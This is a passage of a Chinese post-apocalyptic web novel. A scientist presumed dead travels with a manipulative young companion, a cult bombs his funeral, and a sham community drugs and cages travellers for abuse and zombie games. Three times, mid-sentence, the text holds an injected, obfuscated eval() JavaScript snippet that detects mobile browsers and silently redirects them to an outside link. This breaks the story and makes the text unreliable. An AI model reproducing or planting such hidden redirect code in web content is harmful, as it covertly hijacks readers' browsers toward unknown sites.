林昼看着他的笑容,顿了一下,还是问道:“你亲人呢?” 封宵的眼神黯淡下去。 他转回头看着前方的道路,许久才开口。 “妈妈……变成腐行尸了。在我还很小很小的时候。” 林昼的心微微一沉。 “听外婆说,妈妈怀我的时候,在外面不小心染上了脏东西。我出生的时候,她就已经不太对劲了。后来,她彻底变了。外婆把她关在家里,锁进了最里面的房间。” “外婆只说妈妈病了,不让我靠近那扇门。小时候不懂,只知道那个房间总有抓挠木板的声音,还有……妈妈有时候会哼歌,调子歪歪扭扭的,但我觉得很好听。这个时候外婆总是看着那扇门,悄悄抹眼泪。” “后来,我五岁那年。有一天,外面特别吵,好像有很多人在跑,在喊。外婆急急忙忙出去了,让我待在家里千万别动,说她很快回来。”他语速慢了下来,“她去了很久,一直没回来。” “我很饿。家里什么吃的都没了。我喊外婆,没人应。” 他沉默了一下,似乎在回忆那个遥远的午后。 “然后,我想起了那个房间。” 他说,整个人像是回到了那个时候,“我想,妈妈在里面。她也许……有吃的?或者,她可以告诉我外婆去哪了?” 林昼几乎能想象出那个画面:一个五岁饥饿又害怕的孩子,站在那扇禁止靠近的房门前。门后是他血缘上的母亲,也是一个变异的怪物。 “我把门打开了。” 他没有详细描述门后的情景,只是说: “房间很暗,有股难闻的味道。妈妈虽然长变了,但我认得她。很可惜在妈妈的房间,我也没有找到吃的。”这句话他说得很平淡,甚至带着一丝失望,“她只是看着我,喉咙里发出嗬嗬的声音,好像想说什么,又好像只是饿了。” “那个时候我想的是,妈妈再也不能给我唱歌了。” 接下来是更长久的停顿,长得让人心头发紧。 “后来呢?”林昼轻声问。 封宵转过头,看向林昼。他琥珀色的眼睛此刻像蒙了一层灰,失去了所有的神采。 “我把她埋了。” 车厢内陷入了长久的沉默。 封宵重新目视前方,仿佛刚才只是讲了一个乏味的故事。他甚至对林昼笑了笑,语气里带着点安抚的意味:“哥,别担心,都是很久以前的事了。” 他的声音恢复了之前的明朗:“我现在很强,不会再挨饿了。” 林昼看着他尚且带着少年人的脸庞,没有再说话。任何言语,在此刻似乎都显得苍白无力。 封宵安静地开着车。他偶尔偏头看一眼林昼,唇边便浮起一点笑意,刚才眼底片刻的空洞,像是从未存在过。 夕阳西下的时候,林昼睡着了。 封宵放慢车速,打开半自动驾驶。 他侧过脸,看着林昼安静的睡颜,那张对他总是带着疏离和警惕的脸上,此刻只剩下毫无防备的疲倦。眉眼舒展着,连呼吸都变得轻而缓。 他看了很久。 然后伸出手,极轻地托住林昼的后颈,替他调整姿势,让他靠得更舒服些。指尖在林昼的头发边缘顿了顿,又收了回去。 做完这一切,他收回手,发出了一声叹息: “哥……” “讲得这么烂的故事,你不会都信了吧?” 车里安静了几秒。只有引擎的低鸣和窗外的风声。 “浮罗达的人,都像哥你这么好骗吗?”他轻轻笑了一下,笑意却没抵达眼底。他再次偏过头,目光落在林昼脸上,像是在看什么新奇的东西。 “这样可不行啊,哥。” 4. 会议 浮罗达中央行政厅,会议室。 “……综上所述,林博士是在协助采集边缘样本时,不幸遭遇潜伏的盗匪袭击,被流弹击中后坠入激流,目前下落不明。” “现场遗留有血迹及个人物品,符合意外坠落特征。特勤搜救队已沿下游展开搜寻超过二十四小时。” 负责资源拓展任务的执勤队长汇报完毕,站在一旁,额角渗出冷汗。 “下落不明?” 秦老,元老院的资深议员之一,他手指敲击着光滑的桌面,说到:“林昼的价值,在座诸位心知肚明。他的研究,尤其是潘多拉相关项目,是浮罗达未来数十年维持现有优势的关键。现在的损失如何估量?责任谁来承担?” 萧知沉坐在长桌一侧,今天穿着正式的深灰色行政制服,对众人投过来的目光无动于衷。 “秦老说得对,”另一位较为年轻的行政官员开口,“林博士不仅是科学家,更是一种象征。他的意外,对研究所的士气,对后续项目的推进……” 就在这时,会议室的门被推开。 “……刚刚接到搜救队通报,在第七区下游的回水湾,打捞到一具尸体。” “因长时间浸泡及水下生物啃噬,面部特征已严重损毁,难以直接辨认。但根据身高体型、骨骼扫描结果,还有残留衣物,个人终端,初步判断,死者为林昼博士。” “砰!” 代表研究所参会的李温河猛地站起来,碰倒了手边的水杯。 不止李温河,好几位与林昼有过研究合作的人,也都露出明显的悲痛之色。 “初步判断?” 就在这片低气压中,审查委员会的一位女委员开口,“仅凭这些,根本不足以确认身份。浮罗达的基因库中有林昼博士的备案,最严谨的做法,是立刻进行DNA比对鉴定。在最终结果出来之前,我认为不宜草率下结论。” “王委员说得有道理。” 另一位与林昼研究方向不同的学派代表也开口,“林博士事关重大。” 一直沉默的萧知沉,就在这时开口了。 “王委员的严谨,我深表赞同,科学确证是必要的。搜救队和鉴证部门会以最高标准进行后续工作。” 他顿了顿,话锋却悄然一转。 “但是,诸位,现在的情况无非两种结果。一是林博士死了,我们带回他的遗体;二是他没死,却没有回浮罗达,我们找不到他的任何踪迹。难道他还能自己跑了吗?有谁放着浮罗达的生活不要,会自己跑到外面找死?在座的各位,有吗?” “而且从昨日消息传出开始,研究所外围已经有自发聚集的民众。” 萧知沉的语气带上了一丝沉重:“他是浮罗达培养出的天才,是许多年轻人仰望的标杆。如果我们此刻,在已有遗体的情况下,仍不作为,这是对城防军搜救能力的质疑?还是对元老院和行政中枢决断力的不信任?” 马上有人赞同:“确实,如果因此还让民众觉得外面的世界适合他们生存,就会有人开始效仿。” 稳定与权力才是最重要的。 “我们确实需要给民众一个交代,但是也不能放弃任何可能,你说是吧,萧秘书长。” 王委员看向萧知沉,眼神里带着一丝怨毒:“我提议,采取并行方案。” “第一,立即以研究所和行政中枢联合名义,发布正式讣告,确认林昼博士不幸因公殉职。同时,筹备追悼仪式,表彰其杰出贡献。” “第二,” 她话锋一转,“对外公开讣告的同时,内部搜救与鉴证工作继续进行。对外,我们可以换一种说法,既不否认搜寻,又不引发过度猜测。” “换一种说法?” 秦老皱起眉头。 王委员的脸上露出讥讽:“萧秘书长私德有亏、风流成性,在浮罗达不是什么秘密。” 她看着萧知沉,道:“不妨就说,您某位备受宠爱却性子骄纵的小情人,与您闹了别扭,负气出走,至今未归。您公私不分,心疼难舍,正动用些私人关系在墙外四处寻访。毕竟,萧秘书长做出这种事,完全在大家的预料之中,不是吗?” 长桌两侧的官员们不约而同地看了萧知沉一眼,目光复杂。 秦老:“萧秘书长本就该对这次意外负责,我同意审查会员会的提议。” “我同意。” “我同意。” “我同意。” 众人纷纷举手赞同,提议几乎全票通过。 会议终于结束。官员们如同退潮般迅速离去,脚步声在空旷的走廊里回荡。 最后,偌大的会议室里,只剩下仍坐在原位的萧知沉,以及特意放缓了动作的王倩。 王倩将最后一份文件放入公文包,转过身,看向萧知沉。 萧知沉缓缓向后靠进高背椅里,轻轻笑了一下。 “倩倩,”他开口,带着一丝无奈与亲昵,那称呼让王倩保养得宜的脸上瞬间绷紧,“虽然我们只是露水情缘,但好歹也曾共度过愉快的夜晚。何苦每次见面,都要跟我针锋相对呢?” 王倩的眼神骤然冰冷,那里面有一丝连她自己都不愿承认的痛楚。她今年四十有二,身居要职,却被他几句甜言蜜语和风流姿态迷得晕头转向。 “萧知沉,”她一字一顿,声音从牙缝里挤出,恨恨地说道:“你对谁有过真心吗?不过都是你往上爬的手段。” 她不再多言,拎起公文包,走向门口:“你好自为之。林昼的事,最好真的只是一场意外。” 门开了,又关上。 会议室彻底安静下来,萧知沉抬起手,揉了揉眉心。 “……学弟啊。” “自求多福吧。” 林昼“因公殉职”的官方讣告在会议结束后的一小时内,便通过所有官方渠道发布,葬礼定在浮罗达中央花园的广场上。 纯白的百合与翠菊堆叠成肃穆的花坛。研究所的代表悲痛地念诵悼词,民众被允许在隔离线外观礼。 黑压压的人群沉默着,大多数人的脸上带着事不关己的麻木。 一位曾在学院任教的老人,独自站在角落,望着广场中央的遗像,颤抖着摘下帽子,久久伫立。 有几个研究所的低级研究员此刻也回想起在实验室里的惊鸿一瞥,眼神里露出惋惜。 悼词即将结束时,变故突生。 没有预兆,没有呼喊。六个身着灰袍的人影从人群三个不同方向猛然冲出,动作迅捷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388016|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们无视隔离线和警示,直扑广场中央覆盖着浮罗达旗帜的棺椁。 卫兵根本没有料到这个场景,一时之间没有反应。 “亵渎!”冲在最前面的灰袍人发出大喊,“你们竟敢埋葬神明!” 话音未落,他已将一个黑色物体掷向棺椁。另外五人同时动作,从袍中抽出武器,向试图拦截的卫兵开火。 “轰!” 爆炸并不惊天动地,却足以毁掉那具遗体。 一切仅发生在十秒之内。 尖叫终于从人群中炸开,沉默被打破,取而代之的是踩踏与恐慌。卫兵们这才组成防线,向六名灰袍人发起攻击。其中三人当场倒下,剩余三人却不再逃跑,反而面向混乱的人群,张开双臂,用尽最后的力气齐声高喊: “林昼是晨星之光!神岂会陨落?凡人的棺椁怎能禁锢神明!” “末日降临,新世已近!唯有信神者得救!” “不追随晨光者,必将永坠黑夜!” 喊罢,他们竟主动冲向卫兵的枪口,如同赴一场庆典。 事件发生后一小时,浮罗达审查委员会召开了紧急会议。 “这绝对是萧知沉的手笔!” 王倩恨恨地说道:“这么戏剧化,还披上一层宗教狂热的伪装!这是他惯用的烟雾弹!” 现场缴获的灰袍制饰统一,武器是常见的拼装货,毫无追溯价值。死者在浮罗达的数据库里也只有最基本的身份记录,没有参考价值。 另一位审查委员会的成员说道:“我倒觉得不是萧知沉,王委员是否带了点个人情感。他若想毁尸,会在移交鉴定中心途中或内部进行,那样更隐蔽,责任更能推诿。在万众瞩目的葬礼上动手,等于直接挑衅官方权威,对他有什么好处?别忘了那个传言,他和执行长似乎有非同寻常的关系。” 审查委员会的主席刘振反复观看着现场录像,他终于开口:“近几年有一个在浮罗达下层区悄然形成的教派,叫做新世教。他们声称旧世界因人的狂妄而毁灭,苦痛是净化的必经之路。而在净化之路上,将有一位晨星降临,带领信众通往新世界。” “看来他们是选中林昼了,没有什么比一个死去的天才科学家更合适。” “在葬礼上殉道,看来他们教派要崛起了啊。” “他们相信晨星必须经历死亡的试炼,以脱去凡躯的束缚,在烈火中重生。” “这真是令人难以预料。” 王倩喃喃道:“因为相信林昼是神,所以炸了他的遗体?然后再自杀?” 刘振:“疯子没有逻辑。而信仰,哪怕再扭曲,也有其内在逻辑和传染力。萧知沉那边有什么动静?” “似乎也对这场袭击感到意外。” 萧知沉确实感到意外。 他坐在沙发上,看着终端上混乱的葬礼现场画面。他安排的人手,此刻还潜伏在鉴定中心的外围。 但现在,一切都不需要了。 “浮罗达真是个有趣的地方。该说你是幸运,还是不幸呢,学弟?”萧知沉对着空气低语。 他关掉终端。窗外的浮罗达,霓虹依旧闪烁。 真正的林昼,如今又在哪里? 5. 社区 寂静的荒原上,连风都是死寂的。两天里,他们没有见到一个活人,也没遇到腐行尸或是变异体。林昼怀疑封宵是刻意避开了那些危险区域,但是他没看见他用车上的导航检测系统。 林昼观察了他两天,发现这人除了体力惊人,身体素质极高之外,与常人没什么两样。非要说什么特别,就是太黏人,黏得林昼差点真以为这是自己失散多年的亲弟弟。 “哥,前面有社区。”封宵忽然开口,方向盘一打,将车子驶离主干道,扬起的尘土在暮色中拖出一条尾巴。 林昼望向窗外,一块路标歪斜地插在荒土里,箭头指向远处的建筑群,油漆新鲜,像是刚刷上去不久。 “去看看。”林昼说。 与前几日所见的末日废墟截然不同,没有坍塌的瓦砾,没有颜色可疑的污水,道路被清扫过,房屋建筑大多完好,空气里也没有异味。 太干净了。 “哥,车该充能了。”封宵的声音里带着恰到好处的疲惫,“我们今晚在这过夜吗?” “嗯。”林昼应声的同时,封宵打了方向盘,车子滑向社区入口,缓缓停在一处空地上。引擎熄灭的瞬间,有人出现了。 一个中年男人从房屋的阴影里走出来,脸上挂着温和的笑容。他的目光扫过车内,在林昼脸上停了一瞬:“想不到还有活人到这里来。”他走近车窗,“车子没油了吗?天快黑了,外面可不安全。” 浮罗达的车辆可以自动充能,已经过了需要加油的时代。 林昼没搭话,男人殷勤地补充道:“需要油的话,我那儿还有存货,可以送给你们。” 封宵摇下车窗,露出一脸灿烂的笑容:“大叔,油就不用了,可以的话我和我哥想借宿一晚,如果能洗个热水澡就更好了。” “哎呀,叫什么大叔,叫我老陈就行!”陈刚摆摆手,显得爽朗又亲切,“那就来我家吧,正好有两间空房,收拾收拾就能住。” 封宵看向林昼。林昼沉默片刻,推开车门。 “那就麻烦陈叔了,我们会支付报酬。” 陈刚的目光又一次滑过林昼的脸,他笑着说道:“提什么报酬!这世道,能帮一把是一把!” 社区内部比外面看起来更有秩序,几处空地上种着蔬菜,叶片泛着健康的绿意。林昼停下脚步: “这里没有被污染?” 陈刚回头,笑容不变:“运气好。” 他推开一栋两层小楼的门:“进来吧,家里就我一个人。” 屋子里生活气息浓重,看起来不太像独居,家具虽然老旧,却没什么灰尘。 “坐,别客气。”陈刚热情地招呼,“我去弄点吃的,都饿了吧?” 封宵跟在林昼身后,一脸庆幸:“谢谢大叔!您真是好人。” 陈刚转身走进厨房,封宵脸上的笑容马上收了回去,他凑到林昼耳边,嘴唇贴着耳廓:“哥,我不喜欢这个大叔。” 林昼侧目。 “他的眼神怪怪的。”封宵顿了顿,声音压得更低,“一直往你身上瞟。” 林昼没说话。他也察觉到了——这个社区太宁静,像一个精心布置的舞台。但他只是轻轻拍了拍封宵的肩膀:“车子充能结束我们就离开。” 陈刚很快端上来一些烤土豆和罐头蔬菜,食物摆上桌时,他抱歉地说道:“条件有限,别嫌弃。” 林昼没有动餐具,他看着陈刚的眼睛,问道:“陈叔,这里还有多少居民?” 陈刚低下头,随手拿了个土豆咬了一口,含糊道:“没几个了,剩的都是老弱妇孺,年轻人都去找更好的地方了。” “没有遇到过掠夺者?或者变异体?” 陈刚咀嚼的动作顿了顿,随即笑道:“放心吧,这里连腐行尸都没有,安全得很。” 封宵埋头吃饭,吃得津津有味,抬眼时还不忘给林昼眨巴眼睛。 或许是这两天的高强度相处,林昼居然看懂了他的意思——饭菜很不错,可以放心吃。 晚餐结束,陈刚起身收拾碗筷:“我去给你们弄点喝的,自家酿的果汁,味道不错。” 他离开后,林昼迅速检查剩下的食物,又推开几间房门查看,没有任何异常。 也许是他多心了。 陈刚端着两杯深红色的液体回来,热情招呼:“尝尝,野莓酿的。” 林昼接过杯子,野莓的酸甜气息瞬间钻进鼻腔。封宵接了另一杯,捧在手里,眼睛盯着杯中的液体,忽然小声说:“哥,我不太渴。” 他把杯子放回桌上。 “喝一点吧。”林昼将杯子递回给封宵,语气温和,“补充维生素。” 封宵看着林昼递过来的杯子,琥珀色的眼睛闪烁了一下,随即绽开笑容:“哥这么关心我,当然得喝。” 他仰头,将果汁一饮而尽。 林昼也在陈刚期待的目光中喝下自己那杯。 野莓的酸甜在舌尖化开,味道确实不错。但咽下后不久,林昼就感到一阵头晕,来得毫无预兆。 视线开始模糊,他试图站起来,却发现四肢像灌了铅。对面陈刚的脸依然笑着,但是笑容变了,友善褪去,露出底下冰冷的审视。 身旁的封宵趴在桌上,一动不动。 “你……”林昼挣扎着想说什么,话未出口人已经倒了下去。 最后映入眼帘的,是陈刚站起身,走到他面前俯身查看的画面。 “两个都倒了。”陈刚的声音遥远得像从水下传来,“长得都很标致,待会儿我要换几瓶好酒。” 黑暗吞没了一切。 林昼再睁开眼时,发现自己躺在一个铁笼底部。笼子小得只能勉强翻身,铁锈的腥味和某种腐烂的甜腻气息混在一起,塞满鼻腔。 脑袋还是晕的,他抓住笼子的栏杆,强迫自己坐起来。 这是一个昏暗的仓库,墙上没有窗户,目光所及之处,全是铁笼。 有的笼子里关着人,大多是年轻人,衣不蔽体,蜷缩在角落里。有的笼子里是奄奄一息的人,身上带着明显的伤痕。 还有一些笼子里是腐行尸。 那些刚刚转化不久的腐行尸,还保留着大部分人类的特征。它们趴在笼子里,喉咙里发出低沉的嘶吼,空洞的眼眶偶尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388017|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转向林昼的方向。 空气里弥漫着屎尿的恶臭,和肉质腐烂的气息混在一起,愈加浓烈,令人作呕。 林昼忍住那股恶心感,视线扫过每一个笼子—— 没有封宵。 仓库的门开了,手电筒的光柱刺进来,晃得林昼睁不开眼。 “醒了?”一个男人走到笼子前,蹲下来,用手电照林昼的脸。光线太强,林昼只能看清他一嘴黄牙。 “啧,长得确实不错,比老陈说得还好看。” 另一个人跟在后面: “还有一个呢?” “跑了。妈的,那小子看着弱不禁风,没想到醒得倒快,让他翻墙跑了。” 他站起身,恶意地将手电调亮,直直照在林昼脸上:“放心,他同伴在这儿,肯定会回来的。到时候一起抓了,正好凑一对送给黄老板。” 笼门打开,一只粗糙的手伸进去抓住林昼的胳膊,把他拖出来。 林昼试图挣扎,但药效未完全消退,四肢绵软。他被拖着穿过仓库,经过那些笼子时,笼子里的人抬起头,面无表情地看了他一样,然后又迅速低下去。 “带他出去晃晃。”大黄牙说,“再喊几个兄弟,放只新转化的出来玩玩。” 夜幕完全降临。 社区中心的街道上升起火把,将四周照得通明。林昼被拖到街道中央——这里和白天看到的完全不同。 街道两旁升起围栏,围栏外面站着几个男人,他们看到林昼,眼神都亮起来——那种眼神,林昼并不陌生。 他的手被粗糙的麻绳反绑在身后,大黄牙用力把他往前一推,林昼踉跄着差点摔倒。 “跑吧,小美人。”大黄牙的声音在身后响起,“不跑的话,就只能喂我的小宠物了。” 另一个男人从暗处走出来,手里牵着一条铁链,铁链的另一端拴着一只腐行尸。 那只腐行尸饿了一段时间,它一看到林昼,就疯狂地向前扑,喉咙里发出渴望的低吼。铁链被男人紧紧拉住,只留出刚好够它接近林昼的长度。 “开始!”围栏外有人高喊。 男人松开铁链,腐行尸猛扑过来。 林昼毫不犹豫转身就跑,身后爆发出哄笑和欢呼。 林昼跑了一段,呼吸开始急促,肺部像要烧起来。他绕过一辆废弃的汽车,逐渐体力不支,速度慢下来。 身后腐行尸的嘶吼,越来越近,腐烂的手几乎要抓到他的后背。 就在这时,一道身影从暗处冲了出来。 “哥!” 是封宵,他像一支离弦的箭,直直撞向那只腐行尸。他侧身躲过扑击的瞬间,手肘精准地撞在它侧面脖颈处。 腐行尸的动作停顿了一瞬。 封宵抓住那个瞬间,猛地一拽铁链,将它拉得失去平衡,然后一脚踹在它的头盖骨上,发出沉闷的撞击声。腐行尸倒地,不再动弹。 整个过程不过几秒钟。 围观的人群静了一瞬,随即爆发出更大的喧哗。有人在喊,有人在骂,有人兴奋地拍打围栏。 “抓住他!”大黄牙在后面大喊。 6. 游乐场 两个男人拨开围栏冲出来,手里拿着铁棍。他们显然受过训练,一左一右包抄封宵。 封宵松了铁链,侧身避开第一根铁棍的挥击,贴着棍锋欺近,手刀劈下去的时候连风声都没带起,只听见骨头错位的脆响——那人的手腕以一个诡异的角度折下去,铁棍落地,惨叫声才追上来。 另一人的攻击已到眼前。封宵没回头,矮身躲过,回头一个扫腿。那人膝弯被踹中的瞬间整个人往前栽,脸砸在地上,还没反应过来胸口就挨了一脚。 封宵这才抬起头,越过火把和人群,看向林昼。 “哥,你没事——”他的话戛然而止。 刺目的车灯忽然从街道尽头射过来,引擎的咆哮声由远及近,一辆皮卡从黑暗里冲出来,速度极快。 “封宵,小心!”林昼迎着车灯嘶声大喊。 封宵察觉到危险,试图向旁边翻滚躲避,但距离太近。 只听到一声沉闷的撞击声。 林昼看见封宵的身体被撞飞出去,在空中划过一道弧线,重重摔在几米外的地上,滚了几圈才停下。 周围的声音忽然变得很远,火把的噼啪声,人群的惊呼声,有人吹口哨的声音,全都变成了模糊的背景音。林昼只听见自己的呼吸,粗重得像拉风箱。 他跌跌撞撞地跑过去,绑着的双手让他失去平衡,摔倒在封宵身边。 封宵侧躺在地上,一条腿以不自然的角度扭曲着,裤腿上洇开一大片深色的血迹。他的额角有血淌下,染红了半边脸,只有胸口微弱地起伏,证明他还活着。 林昼跪在他身边,双手颤抖着,不知道该碰哪里。 身后传来脚步声,黄牙男的声音带着悠闲:“看吧,我就说他会回来的。” 火把的光照在封宵苍白的脸上,林昼低下头,额头贴上去。 他的声音从喉咙里挤出来,涩得像吞了一把沙子: “封宵……别死。” 远处,人群的哄笑和欢呼重新响起。有人开始下注,赌他们还能活多久。 大黄牙走到封宵身边,用脚尖踢了踢他的腿。封宵闷哼了一声,人没醒。 “还活着。”大黄牙收回脚,语气里有点失望,“带走。” 两个人上来,一人抬肩,一人抬脚,把封宵像货物一样抬起来。他的左腿垂着,随着步伐晃动,像一根被折断的树枝挂在树上,还连着一点皮肉。 “你们要对他做什么!”林昼被粗暴地拉开,手臂被人拧住,疼得他眼前一阵发白。他只能偏着头,死死盯着封宵被抬走的方向,直到那几个人消失在火把照不到的地方。 大黄牙走到他面前,捏住他的下巴,往上抬。火把的光映在林昼脸上,大黄牙凑近了,带着酒气和烟臭的呼吸喷在他的皮肤上。 “放心,你们暂时不会死。”他笑了,露出那口黄牙,“这么好的货色,死了多可惜。” 他凑得更近,嘴唇几乎贴上林昼的耳廓,这个距离让林昼后背发麻:“小美人,既然你这么舍不得他,我马上就送你去陪他。” 林昼和封宵被扔进一间小屋,门在身后关上,却没有锁。 大黄牙说得对,他们无处可逃。 林昼顾不上这些,他扑到封宵身边,伸手探向他的脸——凉的,指尖往下滑,按住颈侧,屏住呼吸。 脉搏很弱,但还在。 林昼这才觉得自己的心脏重新跳动了。他低头检查封宵的伤,额角的伤口不深,血已经凝固了,但左腿——他的目光落在上面,喉咙发紧。膝盖肿得不成样子,裤腿被血浸透,贴着皮肤。肋骨的位置,呼吸时能听见轻微的杂音,像什么东西裂了。 “封宵……封宵……” 他低声唤着,手指轻触那张苍白的脸。指尖划过颧骨,划过下颌,停留在嘴角。这张嘴平时总是说个不停,叽叽喳喳的,烦得很,现在安静下来,反倒让人害怕。 封宵的睫毛颤了颤,林昼心头一喜。 封宵睁开眼,琥珀色的眼睛先是涣散的,然后慢慢聚焦,定在林昼脸上。他眨了眨眼,嘴唇动了动。 “……哥。”他声音嘶哑,“你没事吧……” “我没事,但你——” 封宵挣扎着想坐起来,左腿一动,剧痛让他整个人痉挛了一下,闷哼一声,又跌回去。林昼连忙扶住他的肩膀,掌心触到的衣服已经被汗浸湿了。 “我们快走。”封宵喘着气,额头上渗出冷汗,“这个社区背后有个体育馆……里面有一整个广场的腐行尸。不知道有没有变异体,但……” “你的腿。” “我能走的,哥。”封宵咬紧牙关,试图撑起身体。左腿完全使不上力,他只能用右腿勉强支撑,每一次用力,脸上都掠过痛苦的神色,但他咬着牙不吭声。 林昼架起他的胳膊,让他靠在自己身上。封宵比他高半个头,重量压过来的时候他踉跄了一下,但还是稳住了。 “别用力。” 封宵没动,他把脸埋进林昼的肩窝,声音闷闷的,带着懊恼和委屈,像一个做错事的孩子。 “哥。对不起,是我没用。” 林昼的手指收紧,抓住他的手臂。 “是我的错。”他说,声音低而涩,“我不该放松警惕,不该相信那个大叔,不该劝你喝那杯果汁……” “不怪哥。”封宵抬起头,表情认真,“哥也是为我好。只是以后不要轻易相信别人了。” 他顿了顿,忽然弯了弯眼睛:“当然,我除外。我是哥的亲亲小棉袄,怎么会害哥呢?” 林昼看着他。 “还能开玩笑。”他说,作势要放开手,“你自己走吧。” “哎别别别——哥!我好痛!”封宵立刻把脸埋回去,手臂收紧,像一只抱住了树干就不肯松手的考拉,“我不说了不说了,哥你扶好我——” 他们互相搀扶着走出小屋。 外面空无一人,静得诡异。 火把熄了大半,只剩几根还燃着,在夜风里明明灭灭。影子在地上晃动,拉得很长。 林昼停下脚步,目光扫过四周。 “这里不太对劲。”他低声说,“他们不会无缘无故把我们丢在这里,还不派人看管——” 旁边的纸箱堆里传来窸窣声。 两人同时转头。 一个年轻女孩从纸箱后探出头,脸上有些脏污,头发乱糟糟地贴在脸上。衣服被撕扯过,她下意识地伸手扯了扯,想盖住露出来的皮肤,另一只手里紧握着一把生锈的刀,刀尖对着他们,手指关节因为用力而泛白。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388018|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到是他们,她明显松了口气,刀尖垂下去。 “你们……是今天新来的?”她的声音在抖。 林昼点头。 “你是……” “我叫卢双玲。”女孩从藏身处爬出来,警惕地环顾四周,“也是被抓来的。他们骗我说这里很安全,可以在这里生活,没有怪物。” 她的目光落在封宵的腿上,闪过一丝同情。 “我见过你,在笼子里。”她说,“你同伴为了救你被打伤了?” “我叫林昼。”林昼说,“这是封宵。这里是哪里?他们想干什么?” 卢双玲没有立刻回答,她抬起手,指向他们身后。 林昼转过头。 他这才注意到那些建筑——褪了色的卡通壁画,歪斜的旋转木马,小丑的彩绘在月光下咧着嘴,笑得诡异。远处,一个巨大的摩天轮倾斜着,像要倒下来。 废弃的游乐园。 “这里是游乐场。”卢双玲的声音压得极低,充满恐惧,“那些人,他们是客人。而我们,是玩具,是设施。” 她顿了顿,像是在犹豫要不要继续说下去。 “晚上,大多数时候都会有客人来这里享乐。他们会挑选玩具,玩游戏。有时候是拿人喂给那些怪物,有时候是……” 她没有说下去,又扯了扯衣服的下摆。 林昼见状,放开封宵,把自己的外套脱下来递给女孩。 卢双玲怔了怔,她接过外套,披在身上,眼眶红了一瞬。但她很快眨眨眼,把那点湿意逼回去。 “谢谢。” “哥。”封宵的声音从旁边传来,比刚才更虚弱了一些,“我们快走吧。”他身体晃了晃,往林昼身上靠过来。 卢双玲摇头。 “走不掉的。园区里面有人巡逻,每隔半小时一圈。要想活下去,唯一的办法是藏起来,等到天亮。天一亮,客人们就会离开,守卫也会松懈一些。而且你们运气不错,今晚还没有客人。” 她指着摩天轮的方向,说:“他的腿不好,你可以带他去那里。摩天轮那边有个医务室,之前被翻过几次,但可能还有些剩下的东西。” “你呢?”林昼问,“一个人太危险了。” 卢双玲的目光在林昼和封宵之间来回移动,看到他们互相搀扶的手臂,她的眼神变得柔和,又变得悲伤。 “我还有同伴在别处。”她惨淡地笑了笑,“祝你们好运。” 她转身,消失在纸箱堆后面。 林昼扶着封宵往摩天轮的方向走。 一路上封宵都很沉默,这很反常。 林昼侧头看他,问道:“怎么了?伤口很疼?要不要坐下来休息一会儿?” 封宵抬起头,问道:“哥,你更担心那个女孩,还是更担心我?” “……当然是你。你伤成这样,不抓紧治疗可能小命都没了,难得你还能想这些……” 封宵笑起来,笑容从嘴角开始,蔓延到眼睛里,点亮了整张脸。他走路的步伐都轻快了些,好像腿上的伤突然不疼了。 摩天轮底下,他们找到了那间医务室。 门半掩着,里面一片狼藉。柜子被翻得底朝天,抽屉抽出来扔在地上,药瓶踩碎了,绷带散落得到处都是,沾满灰尘和脚印。 7. 猎物 林昼翻遍每一个角落,什么都没有。他直起身,看向靠在墙上休息的封宵。 “封宵,你先留在这里,我去找医疗用品。车上有一套简易医疗包。如果还在的话,你这条腿还有救,如果不在了……” 他没说下去。 封宵的脸色变了,他伸手抓住林昼的衣袖,手指收拢,攥得死紧。 “哥。”他的声音颤抖,“不要丢下我。” 林昼看着他,封宵的眼睛里有不加掩饰的恐惧,不像是怕那条腿没救了,更像是怕林昼离开。 林昼蹲下来,与他平视。 “放心,天亮之前我一定回来。” 封宵盯着他,久到林昼以为他不会回答了,然后他缓缓松开手。 “一言为定。” “嗯。一言为定。” 林昼离开后,封宵低着头,看着自己的左腿。 骨头错位了,他能感觉到,不算太严重,比这更重的伤他受过太多,早就习惯了。 况且,他当时是完全可以躲开那辆车的。 他只是单纯想看看林昼的反应,这个结果让他很满意。 他撑着墙壁,缓缓站起来。错位的骨头随着动作摩擦,传来钝痛,但他脸上没什么表情,只是微微蹙了下眉。 他活动了一下肩膀,双手撑住左腿膝盖,猛地一拧。 “咔。” 骨头归位的声音在空荡荡的房间里响起,他活动了一下脚踝,确认没有大碍,然后走出房间,伸了个大大的懒腰。 舒服多了。 接下来,该去处理一些事情。 封宵从角落里找到一根绳子,他弯腰捡起来,拍了拍灰,在手里掂了掂,长度刚好。 他穿过废弃的游乐场,走进社区背后的阴影里。 体育馆的门关着,从里面传来低沉的嘶吼声,和一股浓烈的腐臭味。封宵嫌弃地掩住口鼻,眉头皱起来,另一只手解开门上的锁链。 